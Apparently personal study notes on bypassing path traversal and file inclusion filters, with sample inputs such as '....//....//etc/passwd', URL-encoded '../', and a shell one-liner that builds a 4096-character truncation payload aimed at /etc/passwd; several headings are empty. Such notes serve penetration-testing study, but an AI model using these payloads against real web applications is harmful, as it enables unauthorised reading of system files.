Basic Bypasses

Non-recursive path traversal filters

• 
  • Input: ../../etc/passwd
  • App: etc/passwd
    • This will not work
  • Input: ....//....//etc/passwd
  • App: ../../etc/passwd
    • this will work
  • 

Encoding

• 
• if . , / are being filtered out by the app, we can URL encode and use them
  • URL encode ../ into %2e%2e%2f
  • 

Approved Paths

• web apps also use regex to ensure that the file being included is under a specific path.
• 

Appended Extensions

• 

Path Truncation

• 
• Automating the creation of the payload:

  echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
  

• make sure the size of the payload is exactly 4096 characters and only the .php at the end would be truncated.

NULL bytes

•